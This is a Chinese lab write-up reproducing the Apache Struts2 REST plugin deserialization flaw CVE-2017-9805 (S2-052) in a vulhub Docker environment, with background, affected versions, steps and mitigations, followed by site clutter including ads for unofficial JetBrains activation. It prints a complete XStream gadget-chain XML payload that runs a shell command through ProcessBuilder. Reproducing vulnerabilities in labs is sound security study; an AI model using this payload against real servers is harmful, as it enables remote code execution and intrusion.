Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」Apachestruts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现一、漏洞概述ApacheStruts2的REST插件存在远程代码执行的高危漏洞,Struts2REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。二…

大家好,又见面了,我是你们的朋友全栈君。

Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

一、漏洞概述

Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

二、漏洞原理

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名

Content-Type

解析方法

xml

Application/xml

xstream

json

Application/json

Jsonlib或jackson

xhtml

Application/xhtml+xml

Application/x-www-form-urlencoded

Multipart/form-data

 

Jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag指定需要实例化的类名:

<classname></classname>

//或者

<paramname class=”classname”></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

三、漏洞影响版本

Struts 2.1.2 – Struts 2.3.33

Struts 2.5 – Struts 2.5.12

四、漏洞环境搭建以及复现

1、利用docker搭建vulhub漏洞环境

docker-compose up -d

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

2、启动环境后,访问http://172.17.0.1:8080/orders.xhtml,可以看到showcase页面。

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

3、由于rest-plugin会根据URI扩展名或 Content-Type来判断解析方法, 所以我们只需要修改orders.xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

3.1点击一个edit进行编译页面,burpsuit抓包

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

3.2修改数据包,构造数据包

将Content-Type:application/x-www-form-urlencoded修改为:Content-Type:application/xml

Post数据修改成:

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>
<string>/tmp/test.txt</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

4、可以看到响应500状态码,不过还是成功了

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

5、在目标执行docker-compose exec struts2 ls /tmp/ 查看是否成功执行touch命令

  Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现「建议收藏」

五、漏洞防御

1、 升级版本

2、 删除Struts2 REST插件,或仅限于服务器普通页面和jsons:

<constant name=”struts.action.extension” value=”xhtml,json”/>

3、限制服务端扩展类型,删除XML支持。

 

———————————————————————————————————————

参考链接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

 

 

转载于:https://www.cnblogs.com/yuzly/p/11183855.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159208.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 三种T检验的详细区分

    三种T检验的详细区分关于T检验的方法区分及使用场景介绍如下:01.概念T检验是通过比较不同数据的均值,研究两组数据之间是否存在显著差异。02.分类不同的T检验方法适用于不同的分析场景,具体的分类如下:03.t检验的前提条件无论是单样本T检验、独立样本T检验还是配对样本T检验,都有几个基本前提:(1)T检验属于参数检验,用于检验定量数据(数字有比较意义的),若…

  • 最全的ios系统导出微信聊天记录&生成词云教程

    首先放一张我的iPhone手机导出微信聊天记录生成的词云效果图(个别敏感词汇请大家自行忽略hhh):对于如何导出手机上的微信聊天记录,网上绝大部分教程提到的“楼月微信聊天记录导出恢复助手”和“手机博士微信聊天记录查看”等软件都是收费的,免费版本只能查看很少的几条聊天记录并且不能导出。在这里提供一种绝对免费的方法可以方便地导出微信聊天记录,后面附上根据聊天记录生成词云的教程。由于我个人的手机是i…

  • 和重复搭建开发环境说 Bye Bye 之Vagrant[通俗易懂]

    和重复搭建开发环境说 Bye Bye 之Vagrant

  • linux中rar解压命令_tar解压zip文件

    linux中rar解压命令_tar解压zip文件例1:添加文件或目录到压缩档案中,使用a命令。例如把文件files1添加到abc.rar中,使用a或m命令,a命令把file1文件添加到abc.rar档案中保持原有的file1文件不变,m命令移动file1文件到file1.rar档案中(压缩完成后会删除原有的file1文件,注意:m命令只针对文件进行操作)$raraabc.rarfile1说明:如果此时abc.rar档案不存在,会自行创建a…

  • Windows批处理(.bat)常用命令教程

    Windows批处理(.bat)常用命令教程批处理的语句不多,但是在某些时候,结合常用的一些cmd命令,可以解决很多重复性的工作。下面是一些对批处理命令的总结,如果需要学习的话,对这些关键字有个印象就可以了,如果忘记怎么用,可以使用关键字/?来获取帮助,帮助内容都是中文,很容易理解,比如:常见问题:(1).bat输出中文乱码:把文本格式改成ANSI(2)双击bat文件,直接闪退:在代码最后一行加上pause,相当于C语言中的getchar(),让页面执行完之后不要关闭。1echo和@回显命令@#关闭单行回显echooff

  • 阿里云服务器怎么用ip访问不了

    阿里云服务器怎么用ip访问不了

    2021年10月18日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号